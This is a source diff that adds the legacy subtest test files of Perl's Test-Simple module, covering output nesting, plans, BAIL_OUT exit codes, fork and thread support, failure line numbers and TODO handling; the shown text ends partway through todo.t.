diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/bail_out.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/bail_out.t
new file mode 100644
index 00000000000..86a50cbbefb
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/bail_out.t
@@ -0,0 +1,71 @@
+#!/usr/bin/perl -w
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+my $goto = 0;
+my $Exit_Code;
+BEGIN {
+ *CORE::GLOBAL::exit = sub { $Exit_Code = shift; goto XXX if $goto; CORE::exit($Exit_Code)};
+}
+
+use Test::Builder;
+use Test::More;
+
+my $skip = ref(Test::Builder->new->{Stack}->top->format) ne 'Test::Builder::Formatter';
+plan skip_all => "This test cannot be run with the current formatter"
+ if $skip;
+
+$goto = 1;
+my $output;
+my $TB = Test::More->builder;
+$TB->output(\$output);
+
+my $Test = Test::Builder->create;
+$Test->level(0);
+
+$Test->plan(tests => 2);
+
+plan tests => 4;
+
+ok 'foo';
+subtest 'bar' => sub {
+ plan tests => 3;
+ ok 'sub_foo';
+ subtest 'sub_bar' => sub {
+ plan tests => 3;
+ ok 'sub_sub_foo';
+ ok 'sub_sub_bar';
+ BAIL_OUT("ROCKS FALL! EVERYONE DIES!");
+ ok 'sub_sub_baz';
+ };
+ ok 'sub_baz';
+};
+
+XXX:
+
+$Test->is_eq( $output, <<'OUT' );
+1..4
+ok 1
+# Subtest: bar
+ 1..3
+ ok 1
+ # Subtest: sub_bar
+ 1..3
+ ok 1
+ ok 2
+Bail out! ROCKS FALL! EVERYONE DIES!
+OUT
+
+$Test->is_eq( $Exit_Code, 255 );
+
+Test2::API::test2_stack()->top->set_no_ending(1);
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/basic.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/basic.t
new file mode 100644
index 00000000000..44d370e9567
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/basic.t
@@ -0,0 +1,212 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ( '../lib', 'lib' );
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+use warnings;
+
+use Test::Builder::NoOutput;
+
+use Test::More tests => 12;
+
+# TB Methods expect to be wrapped.
+my $ok = sub { shift->ok(@_) };
+my $plan = sub { shift->plan(@_) };
+my $diag = sub { shift->diag(@_) };
+my $finalize = sub { shift->finalize(@_) };
+
+# Formatting may change if we're running under Test::Harness.
+$ENV{HARNESS_ACTIVE} = 0;
+
+{
+ my $tb = Test::Builder::NoOutput->create;
+
+ $tb->$plan( tests => 7 );
+ for( 1 .. 3 ) {
+ $tb->$ok( $_, "We're on $_" );
+ $tb->$diag("We ran $_");
+ }
+ {
+ my $indented = $tb->child;
+ $indented->$plan('no_plan');
+ $indented->$ok( 1, "We're on 1" );
+ $indented->$ok( 1, "We're on 2" );
+ $indented->$ok( 1, "We're on 3" );
+ $indented->$finalize;
+ }
+ for( 7, 8, 9 ) {
+ $tb->$ok( $_, "We're on $_" );
+ }
+
+ is $tb->read, <<"END", 'Output should nest properly';
+1..7
+ok 1 - We're on 1
+# We ran 1
+ok 2 - We're on 2
+# We ran 2
+ok 3 - We're on 3
+# We ran 3
+ ok 1 - We're on 1
+ ok 2 - We're on 2
+ ok 3 - We're on 3
+ 1..3
+ok 4 - Child of $0
+ok 5 - We're on 7
+ok 6 - We're on 8
+ok 7 - We're on 9
+END
+}
+{
+ my $tb = Test::Builder::NoOutput->create;
+
+ $tb->$plan('no_plan');
+ for( 1 .. 1 ) {
+ $tb->$ok( $_, "We're on $_" );
+ $tb->$diag("We ran $_");
+ }
+ {
+ my $indented = $tb->child;
+ $indented->$plan('no_plan');
+ $indented->$ok( 1, "We're on 1" );
+ {
+ my $indented2 = $indented->child('with name');
+ $indented2->$plan( tests => 2 );
+ $indented2->$ok( 1, "We're on 2.1" );
+ $indented2->$ok( 1, "We're on 2.1" );
+ $indented2->$finalize;
+ }
+ $indented->$ok( 1, 'after child' );
+ $indented->$finalize;
+ }
+ for(7) {
+ $tb->$ok( $_, "We're on $_" );
+ }
+
+ $tb->_ending;
+ is $tb->read, <<"END", 'We should allow arbitrary nesting';
+ok 1 - We're on 1
+# We ran 1
+ ok 1 - We're on 1
+ 1..2
+ ok 1 - We're on 2.1
+ ok 2 - We're on 2.1
+ ok 2 - with name
+ ok 3 - after child
+ 1..3
+ok 2 - Child of $0
+ok 3 - We're on 7
+1..3
+END
+}
+
+{
+#line 108
+ my $tb = Test::Builder::NoOutput->create;
+
+ {
+ my $child = $tb->child('expected to fail');
+ $child->$plan( tests => 3 );
+ $child->$ok(1);
+ $child->$ok(0);
+ $child->$ok(3);
+ $child->$finalize;
+ }
+
+ {
+ my $child = $tb->child('expected to pass');
+ $child->$plan( tests => 3 );
+ $child->$ok(1);
+ $child->$ok(2);
+ $child->$ok(3);
+ $child->$finalize;
+ }
+ is $tb->read, <<"END", 'Previous child failures should not force subsequent failures';
+ 1..3
+ ok 1
+ not ok 2
+ # Failed test at $0 line 114.
+ ok 3
+ # Looks like you failed 1 test of 3.
+not ok 1 - expected to fail
+# Failed test 'expected to fail'
+# at $0 line 116.
+ 1..3
+ ok 1
+ ok 2
+ ok 3
+ok 2 - expected to pass
+END
+}
+{
+ my $tb = Test::Builder::NoOutput->create;
+ my $child = $tb->child('one');
+ is $child->{$_}, $tb->{$_}, "The child should copy the ($_) filehandle"
+ foreach qw{Out_FH Todo_FH Fail_FH};
+ $child->$finalize;
+}
+{
+ my $tb = Test::Builder::NoOutput->create;
+ my $child = $tb->child('one');
+ can_ok $child, 'parent';
+
+ can_ok $tb, 'name';
+ is $child->name, 'one', '... but child names should be whatever we set them to';
+ $child->$finalize;
+ $child = $tb->child;
+ $child->$finalize;
+}
+# Skip all subtests
+{
+ my $tb = Test::Builder::NoOutput->create;
+
+ {
+ my $child = $tb->child('skippy says he loves you');
+ eval { $child->$plan( skip_all => 'cuz I said so' ) };
+ }
+ subtest 'skip all', sub {
+ plan skip_all => 'subtest with skip_all';
+ ok 0, 'This should never be run';
+ };
+}
+
+# to do tests
+{
+#line 204
+ my $tb = Test::Builder::NoOutput->create;
+ $tb->$plan( tests => 1 );
+ my $child = $tb->child;
+ $child->$plan( tests => 1 );
+ $child->todo_start( 'message' );
+ $child->$ok( 0 );
+ $child->todo_end;
+ $child->$finalize;
+ $tb->_ending;
+ is $tb->read, <<"END", 'TODO tests should not make the parent test fail';
+1..1
+ 1..1
+ not ok 1 # TODO message
+ # Failed (TODO) test at $0 line 209.
+ok 1 - Child of $0
+END
+}
+{
+ my $tb = Test::Builder::NoOutput->create;
+ $tb->$plan( tests => 1 );
+ my $child = $tb->child;
+ $child->$finalize;
+ $tb->_ending;
+ my $expected = <<"END";
+1..1
+not ok 1 - No tests run for subtest "Child of $0"
+END
+ like $tb->read, qr/\Q$expected\E/,
+ 'Not running subtests should make the parent test fail';
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/callback.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/callback.t
new file mode 100644
index 00000000000..097d1bf2c0d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/callback.t
@@ -0,0 +1,53 @@
+#!/usr/bin/perl -w
+
+# What happens when a subtest dies?
+
+use lib 't/lib';
+
+use strict;
+use Test::More;
+use Test::Builder;
+use Test2::API;
+
+my $Test = Test::Builder->new;
+
+my $step = 0;
+my @callback_calls = ();
+Test2::API::test2_add_callback_pre_subtest(
+ sub {
+ $Test->is_num(
+ $step,
+ 0,
+ 'pre-subtest callbacks should be invoked before the subtest',
+ );
+ ++$step;
+ push @callback_calls, [@_];
+ },
+);
+
+$Test->subtest(
+ (my $subtest_name='some subtest'),
+ (my $subtest_code=sub {
+ $Test->is_num(
+ $step,
+ 1,
+ 'subtest should be run after the pre-subtest callbacks',
+ );
+ ++$step;
+ }),
+ (my @subtest_args = (1,2,3)),
+);
+
+is_deeply(
+ \@callback_calls,
+ [[$subtest_name,$subtest_code,@subtest_args]],
+ 'pre-subtest callbacks should be invoked with the expected arguments',
+);
+
+$Test->is_num(
+ $step,
+ 2,
+ 'the subtest should be run',
+);
+
+$Test->done_testing();
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/die.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/die.t
new file mode 100644
index 00000000000..3d53abf6ccb
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/die.t
@@ -0,0 +1,30 @@
+#!/usr/bin/perl -w
+
+# What happens when a subtest dies?
+
+use lib 't/lib';
+
+use strict;
+use Test::Builder;
+use Test::Builder::NoOutput;
+
+my $Test = Test::Builder->new;
+
+{
+ my $tb = Test::Builder::NoOutput->create;
+
+ $tb->ok(1);
+
+ $Test->ok( !eval {
+ $tb->subtest("death" => sub {
+ die "Death in the subtest";
+ });
+ 1;
+ });
+ $Test->like( $@, qr/^Death in the subtest at \Q$0\E line /);
+
+ $Test->ok( !$tb->parent, "the parent object is restored after a die" );
+}
+
+
+$Test->done_testing();
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/do.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/do.t
new file mode 100644
index 00000000000..c9efdac8926
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/do.t
@@ -0,0 +1,17 @@
+#!/usr/bin/perl -w
+
+# Test the idiom of running another test file as a subtest.
+
+use strict;
+use Test::More;
+
+pass("First");
+
+my $file = "./t/Legacy/subtest/for_do_t.test";
+ok -e $file, "subtest test file exists";
+
+subtest $file => sub { do $file };
+
+pass("Last");
+
+done_testing(4);
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/events.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/events.t
new file mode 100644
index 00000000000..d8470d4683e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/events.t
@@ -0,0 +1,20 @@
+use strict;
+use warnings;
+
+use Test::More;
+use Test2::API qw/intercept/;
+
+my $events = intercept {
+ subtest foo => sub {
+ ok(1, "pass");
+ };
+};
+
+my $st = $events->[-1];
+isa_ok($st, 'Test2::Event::Subtest');
+ok(my $id = $st->subtest_id, "got an id");
+for my $se (@{$st->subevents}) {
+ is($se->trace->hid, $id, "set subtest_id on child event");
+}
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/for_do_t.test b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/for_do_t.test
new file mode 100644
index 00000000000..413923bceb0
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/for_do_t.test
@@ -0,0 +1,9 @@
+# Test used by t/subtest/do.t
+
+use Test::More;
+
+pass("First");
+pass("Second");
+pass("Third");
+
+done_testing(3);
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/fork.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/fork.t
new file mode 100644
index 00000000000..33a8c271879
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/fork.t
@@ -0,0 +1,53 @@
+#!/usr/bin/perl -w
+use strict;
+use warnings;
+# HARNESS-NO-STREAM
+# HARNESS-NO-PRELOAD
+
+use Test2::Util qw/CAN_FORK/;
+BEGIN {
+ unless(CAN_FORK) {
+ require Test::More;
+ Test::More->import(skip_all => "fork is not supported");
+ }
+}
+
+use IO::Pipe;
+use Test::Builder;
+use Test::More;
+
+plan 'skip_all' => "This test cannot be run with the current formatter"
+ unless Test::Builder->new->{Stack}->top->format->isa('Test::Builder::Formatter');
+
+plan 'tests' => 1;
+
+subtest 'fork within subtest' => sub {
+ plan tests => 2;
+
+ my $pipe = IO::Pipe->new;
+ my $pid = fork;
+ defined $pid or plan skip_all => "Fork not working";
+
+ if ($pid) {
+ $pipe->reader;
+ my $child_output = do { local $/ ; <$pipe> };
+ waitpid $pid, 0;
+
+ is $?, 0, 'child exit status';
+ like $child_output, qr/^[\s#]+Child Done\s*\z/, 'child output';
+ }
+ else {
+ $pipe->writer;
+
+ # Force all T::B output into the pipe, for the parent
+ # builder as well as the current subtest builder.
+ my $tb = Test::Builder->new;
+ $tb->output($pipe);
+ $tb->failure_output($pipe);
+ $tb->todo_output($pipe);
+
+ diag 'Child Done';
+ exit 0;
+ }
+};
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/implicit_done.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/implicit_done.t
new file mode 100644
index 00000000000..0963e72c594
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/implicit_done.t
@@ -0,0 +1,31 @@
+#!/usr/bin/perl -w
+
+# A subtest without a plan implicitly calls "done_testing"
+
+use strict;
+use Test::More;
+
+pass "Before";
+
+subtest 'basic' => sub {
+ pass "Inside sub test";
+};
+
+subtest 'with done' => sub {
+ pass 'This has done_testing';
+ done_testing;
+};
+
+subtest 'with plan' => sub {
+ plan tests => 1;
+ pass 'I have a plan, Batman!';
+};
+
+subtest 'skipping' => sub {
+ plan skip_all => 'Skipping';
+ fail 'Shouldnt see me!';
+};
+
+pass "After";
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/line_numbers.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/line_numbers.t
new file mode 100644
index 00000000000..2ad74571c27
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/line_numbers.t
@@ -0,0 +1,130 @@
+#!/usr/bin/perl -w
+
+# Test Test::More::subtest(), focusing on correct line numbers in
+# failed test diagnostics.
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ( '../lib', 'lib' );
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+use warnings;
+
+use Test::More tests => 5;
+use Test::Builder;
+use Test::Builder::Tester;
+
+# Formatting may change if we're running under Test::Harness.
+$ENV{HARNESS_ACTIVE} = 0;
+
+our %line;
+
+{
+ test_out("# Subtest: namehere");
+ test_out(" 1..3");
+ test_out(" ok 1");
+ test_out(" not ok 2");
+ test_err(" # Failed test at $0 line $line{innerfail1}.");
+ test_out(" ok 3");
+ test_err(" # Looks like you failed 1 test of 3.");
+ test_out("not ok 1 - namehere");
+ test_err("# Failed test 'namehere'");
+ test_err("# at $0 line $line{outerfail1}.");
+
+ subtest namehere => sub {
+ plan tests => 3;
+ ok 1;
+ ok 0; BEGIN{ $line{innerfail1} = __LINE__ }
+ ok 1;
+ }; BEGIN{ $line{outerfail1} = __LINE__ }
+
+ test_test("un-named inner tests");
+}
+{
+ test_out("# Subtest: namehere");
+ test_out(" 1..3");
+ test_out(" ok 1 - first is good");
+ test_out(" not ok 2 - second is bad");
+ test_err(" # Failed test 'second is bad'");
+ test_err(" # at $0 line $line{innerfail2}.");
+ test_out(" ok 3 - third is good");
+ test_err(" # Looks like you failed 1 test of 3.");
+ test_out("not ok 1 - namehere");
+ test_err("# Failed test 'namehere'");
+ test_err("# at $0 line $line{outerfail2}.");
+
+ subtest namehere => sub {
+ plan tests => 3;
+ ok 1, "first is good";
+ ok 0, "second is bad"; BEGIN{ $line{innerfail2} = __LINE__ }
+ ok 1, "third is good";
+ }; BEGIN{ $line{outerfail2} = __LINE__ }
+
+ test_test("named inner tests");
+}
+
+sub run_the_subtest {
+ subtest namehere => sub {
+ plan tests => 3;
+ ok 1, "first is good";
+ ok 0, "second is bad"; BEGIN{ $line{innerfail3} = __LINE__ }
+ ok 1, "third is good";
+ }; BEGIN{ $line{outerfail3} = __LINE__ }
+}
+{
+ test_out("# Subtest: namehere");
+ test_out(" 1..3");
+ test_out(" ok 1 - first is good");
+ test_out(" not ok 2 - second is bad");
+ test_err(" # Failed test 'second is bad'");
+ test_err(" # at $0 line $line{innerfail3}.");
+ test_out(" ok 3 - third is good");
+ test_err(" # Looks like you failed 1 test of 3.");
+ test_out("not ok 1 - namehere");
+ test_err("# Failed test 'namehere'");
+ test_err("# at $0 line $line{outerfail3}.");
+
+ run_the_subtest();
+
+ test_test("subtest() called from a sub");
+}
+{
+ test_out( "# Subtest: namehere");
+ test_out( " 1..0");
+ test_err( " # No tests run!");
+ test_out( 'not ok 1 - No tests run for subtest "namehere"');
+ test_err(q{# Failed test 'No tests run for subtest "namehere"'});
+ test_err( "# at $0 line $line{outerfail4}.");
+
+ subtest namehere => sub {
+ done_testing;
+ }; BEGIN{ $line{outerfail4} = __LINE__ }
+
+ test_test("lineno in 'No tests run' diagnostic");
+}
+{
+ test_out("# Subtest: namehere");
+ test_out(" 1..1");
+ test_out(" not ok 1 - foo is bar");
+ test_err(" # Failed test 'foo is bar'");
+ test_err(" # at $0 line $line{is_fail}.");
+ test_err(" # got: 'foo'");
+ test_err(" # expected: 'bar'");
+ test_err(" # Looks like you failed 1 test of 1.");
+ test_out('not ok 1 - namehere');
+ test_err("# Failed test 'namehere'");
+ test_err("# at $0 line $line{is_outer_fail}.");
+
+ subtest namehere => sub {
+ plan tests => 1;
+ is 'foo', 'bar', 'foo is bar'; BEGIN{ $line{is_fail} = __LINE__ }
+ }; BEGIN{ $line{is_outer_fail} = __LINE__ }
+
+ test_test("diag indent for is() in subtest");
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/plan.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/plan.t
new file mode 100644
index 00000000000..7e944ab2833
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/plan.t
@@ -0,0 +1,49 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ( '../lib', 'lib' );
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+use warnings;
+
+use Test::Builder::NoOutput;
+
+use Test::More tests => 6;
+
+# Formatting may change if we're running under Test::Harness.
+$ENV{HARNESS_ACTIVE} = 0;
+
+{
+ ok defined &subtest, 'subtest() should be exported to our namespace';
+ is prototype('subtest'), undef, '... has no prototype';
+
+ subtest 'subtest with plan', sub {
+ plan tests => 2;
+ ok 1, 'planned subtests should work';
+ ok 1, '... and support more than one test';
+ };
+ subtest 'subtest without plan', sub {
+ plan 'no_plan';
+ ok 1, 'no_plan subtests should work';
+ ok 1, '... and support more than one test';
+ ok 1, '... no matter how many tests are run';
+ };
+ subtest 'subtest with implicit done_testing()', sub {
+ ok 1, 'subtests with an implicit done testing should work';
+ ok 1, '... and support more than one test';
+ ok 1, '... no matter how many tests are run';
+ };
+ subtest 'subtest with explicit done_testing()', sub {
+ ok 1, 'subtests with an explicit done testing should work';
+ ok 1, '... and support more than one test';
+ ok 1, '... no matter how many tests are run';
+ done_testing();
+ };
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/predicate.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/predicate.t
new file mode 100644
index 00000000000..73b9c81056f
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/predicate.t
@@ -0,0 +1,166 @@
+#!/usr/bin/perl -w
+
+# Test the use of subtest() to define new test predicates that combine
+# multiple existing predicates.
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ( '../lib', 'lib' );
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+use warnings;
+
+use Test::More tests => 5;
+use Test::Builder;
+use Test::Builder::Tester;
+
+# Formatting may change if we're running under Test::Harness.
+$ENV{HARNESS_ACTIVE} = 0;
+
+our %line;
+
+# Define a new test predicate with Test::More::subtest(), using
+# Test::More predicates as building blocks...
+
+sub foobar_ok ($;$) {
+ my ($value, $name) = @_;
+ $name ||= "foobar_ok";
+
+ local $Test::Builder::Level = $Test::Builder::Level + 1;
+ subtest $name => sub {
+ plan tests => 2;
+ ok $value =~ /foo/, "foo";
+ ok $value =~ /bar/, "bar"; BEGIN{ $line{foobar_ok_bar} = __LINE__ }
+ };
+}
+{
+ test_out("# Subtest: namehere");
+ test_out(" 1..2");
+ test_out(" ok 1 - foo");
+ test_out(" not ok 2 - bar");
+ test_err(" # Failed test 'bar'");
+ test_err(" # at $0 line $line{foobar_ok_bar}.");
+ test_err(" # Looks like you failed 1 test of 2.");
+ test_out("not ok 1 - namehere");
+ test_err("# Failed test 'namehere'");
+ test_err("# at $0 line ".(__LINE__+2).".");
+
+ foobar_ok "foot", "namehere";
+
+ test_test("foobar_ok failing line numbers");
+}
+
+# Wrap foobar_ok() to make another new predicate...
+
+sub foobar_ok_2 ($;$) {
+ my ($value, $name) = @_;
+
+ local $Test::Builder::Level = $Test::Builder::Level + 1;
+ foobar_ok($value, $name);
+}
+{
+ test_out("# Subtest: namehere");
+ test_out(" 1..2");
+ test_out(" ok 1 - foo");
+ test_out(" not ok 2 - bar");
+ test_err(" # Failed test 'bar'");
+ test_err(" # at $0 line $line{foobar_ok_bar}.");
+ test_err(" # Looks like you failed 1 test of 2.");
+ test_out("not ok 1 - namehere");
+ test_err("# Failed test 'namehere'");
+ test_err("# at $0 line ".(__LINE__+2).".");
+
+ foobar_ok_2 "foot", "namehere";
+
+ test_test("foobar_ok_2 failing line numbers");
+}
+
+# Define another new test predicate, this time using
+# Test::Builder::subtest() rather than Test::More::subtest()...
+
+sub barfoo_ok ($;$) {
+ my ($value, $name) = @_;
+ $name ||= "barfoo_ok";
+
+ Test::Builder->new->subtest($name => sub {
+ plan tests => 2;
+ ok $value =~ /foo/, "foo";
+ ok $value =~ /bar/, "bar"; BEGIN{ $line{barfoo_ok_bar} = __LINE__ }
+ });
+}
+{
+ test_out("# Subtest: namehere");
+ test_out(" 1..2");
+ test_out(" ok 1 - foo");
+ test_out(" not ok 2 - bar");
+ test_err(" # Failed test 'bar'");
+ test_err(" # at $0 line $line{barfoo_ok_bar}.");
+ test_err(" # Looks like you failed 1 test of 2.");
+ test_out("not ok 1 - namehere");
+ test_err("# Failed test 'namehere'");
+ test_err("# at $0 line ".(__LINE__+2).".");
+
+ barfoo_ok "foot", "namehere";
+
+ test_test("barfoo_ok failing line numbers");
+}
+
+# Wrap barfoo_ok() to make another new predicate...
+
+sub barfoo_ok_2 ($;$) {
+ my ($value, $name) = @_;
+
+ local $Test::Builder::Level = $Test::Builder::Level + 1;
+ barfoo_ok($value, $name);
+}
+{
+ test_out("# Subtest: namehere");
+ test_out(" 1..2");
+ test_out(" ok 1 - foo");
+ test_out(" not ok 2 - bar");
+ test_err(" # Failed test 'bar'");
+ test_err(" # at $0 line $line{barfoo_ok_bar}.");
+ test_err(" # Looks like you failed 1 test of 2.");
+ test_out("not ok 1 - namehere");
+ test_err("# Failed test 'namehere'");
+ test_err("# at $0 line ".(__LINE__+2).".");
+
+ barfoo_ok_2 "foot", "namehere";
+
+ test_test("barfoo_ok_2 failing line numbers");
+}
+
+# A subtest-based predicate called from within a subtest
+{
+ test_out("# Subtest: outergroup");
+ test_out(" 1..2");
+ test_out(" ok 1 - this passes");
+ test_out(" # Subtest: namehere");
+ test_out(" 1..2");
+ test_out(" ok 1 - foo");
+ test_out(" not ok 2 - bar");
+ test_err(" # Failed test 'bar'");
+ test_err(" # at $0 line $line{barfoo_ok_bar}.");
+ test_err(" # Looks like you failed 1 test of 2.");
+ test_out(" not ok 2 - namehere");
+ test_err(" # Failed test 'namehere'");
+ test_err(" # at $0 line $line{ipredcall}.");
+ test_err(" # Looks like you failed 1 test of 2.");
+ test_out("not ok 1 - outergroup");
+ test_err("# Failed test 'outergroup'");
+ test_err("# at $0 line $line{outercall}.");
+
+ subtest outergroup => sub {
+ plan tests => 2;
+ ok 1, "this passes";
+ barfoo_ok_2 "foot", "namehere"; BEGIN{ $line{ipredcall} = __LINE__ }
+ }; BEGIN{ $line{outercall} = __LINE__ }
+
+ test_test("outergroup with internal barfoo_ok_2 failing line numbers");
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/singleton.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/singleton.t
new file mode 100644
index 00000000000..0c25261f5bb
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/singleton.t
@@ -0,0 +1,38 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ( '../lib', 'lib' );
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+use warnings;
+use Test::More tests => 3;
+
+{
+
+ package Test::Singleton;
+
+ use Test::Builder;
+ my $TB = Test::Builder->new;
+
+ sub singleton_ok ($;$) {
+ my( $val, $name ) = @_;
+ $TB->ok( $val, $name );
+ }
+}
+
+ok 1, 'TB top level';
+subtest 'doing a subtest' => sub {
+ plan tests => 4;
+ ok 1, 'first test in subtest';
+ Test::Singleton::singleton_ok(1, 'this should not fail');
+ ok 1, 'second test in subtest';
+ Test::Singleton::singleton_ok(1, 'this should not fail');
+};
+ok 1, 'left subtest';
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/threads.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/threads.t
new file mode 100644
index 00000000000..b1ac199dac8
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/threads.t
@@ -0,0 +1,24 @@
+#!/usr/bin/perl -w
+
+use strict;
+use warnings;
+
+use Test2::Util qw/CAN_THREAD/;
+BEGIN {
+ unless(CAN_THREAD) {
+ require Test::More;
+ Test::More->import(skip_all => "threads are not supported");
+ }
+}
+use threads;
+
+use Test::More;
+
+subtest 'simple test with threads on' => sub {
+ is( 1+1, 2, "simple test" );
+ is( "a", "a", "another simple test" );
+};
+
+pass("Parent retains sharedness");
+
+done_testing(2);
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/todo.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/todo.t
new file mode 100644
index 00000000000..7c7eb589ef9
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/subtest/todo.t
@@ -0,0 +1,199 @@
+#!/usr/bin/perl -w
+# Test todo subtests.
+#
+# A subtest in a todo context should have all of its diagnostic output
+# redirected to the todo output destination, but individual tests
+# within the subtest should not become todo tests themselves.
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ( '../lib', 'lib' );
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use strict;
+use warnings;
+
+use Test::More;
+use Test::Builder;
+use Test::Builder::Tester;
+
+# Formatting may change if we're running under Test::Harness.
+$ENV{HARNESS_ACTIVE} = 0;
+
+our %line;
+
+# Repeat each test for various combinations of the todo reason,
+# the mechanism by which it is set and $Level.
+our @test_combos;
+foreach my $level (1, 2, 3) {
+ push @test_combos, ['$TODO', 'Reason', $level],
+ ['todo_start', 'Reason', $level],
+ ['todo_start', '', $level],
+ ['todo_start', 0, $level];
+}
+
+plan tests => 8 * @test_combos;
+
+sub test_subtest_in_todo {
+ my ($name, $code, $want_out, $no_tests_run) = @_;
+
+ my $xxx = $no_tests_run ? 'No tests run for subtest "xxx"' : 'xxx';
+
+ chomp $want_out;
+ my @outlines = split /\n/, $want_out;
+
+ foreach my $combo (@test_combos) {
+ my ($set_via, $todo_reason, $level) = @$combo;
+
+ test_out( map { my $x = $_; $x =~ s/\s+$//g; $x }
+ "# Subtest: xxx",
+ @outlines,
+ "not ok 1 - $xxx # TODO $todo_reason",
+ "# Failed (TODO) test '$xxx'",
+ "# at $0 line $line{xxx}.",
+ "not ok 2 - regular todo test # TODO $todo_reason",
+ "# Failed (TODO) test 'regular todo test'",
+ "# at $0 line $line{reg}.",
+ );
+
+ {
+ local $TODO = $set_via eq '$TODO' ? $todo_reason : undef;
+ if ($set_via eq 'todo_start') {
+ Test::Builder->new->todo_start($todo_reason);
+ }
+
+ subtest_at_level(
+ 'xxx', $code, $level); BEGIN{ $line{xxx} = __LINE__ }
+ ok 0, 'regular todo test'; BEGIN{ $line{reg} = __LINE__ }
+
+ if ($set_via eq 'todo_start') {
+ Test::Builder->new->todo_end;
+ }
+ }
+
+ test_test("$name ($level), todo [$todo_reason] set via $set_via");
+ }
+}
+
+package Foo; # If several stack frames are in package 'main' then $Level
+ # could be wrong and $main::TODO might still be found. Using
+ # another package makes the tests more sensitive.
+
+sub main::subtest_at_level {
+ my ($name, $code, $level) = @_;
+
+ if ($level > 1) {
+ local $Test::Builder::Level = $Test::Builder::Level + 1;
+ main::subtest_at_level($name, $code, $level-1);
+ }
+ else {
+ Test::Builder->new->subtest($name => $code);
+ }
+}
+
+package main;
+
+test_subtest_in_todo("plan, no tests run", sub {
+ plan tests => 2;
+}, <<END, 1);
+ 1..2
+ # No tests run!
+END
+
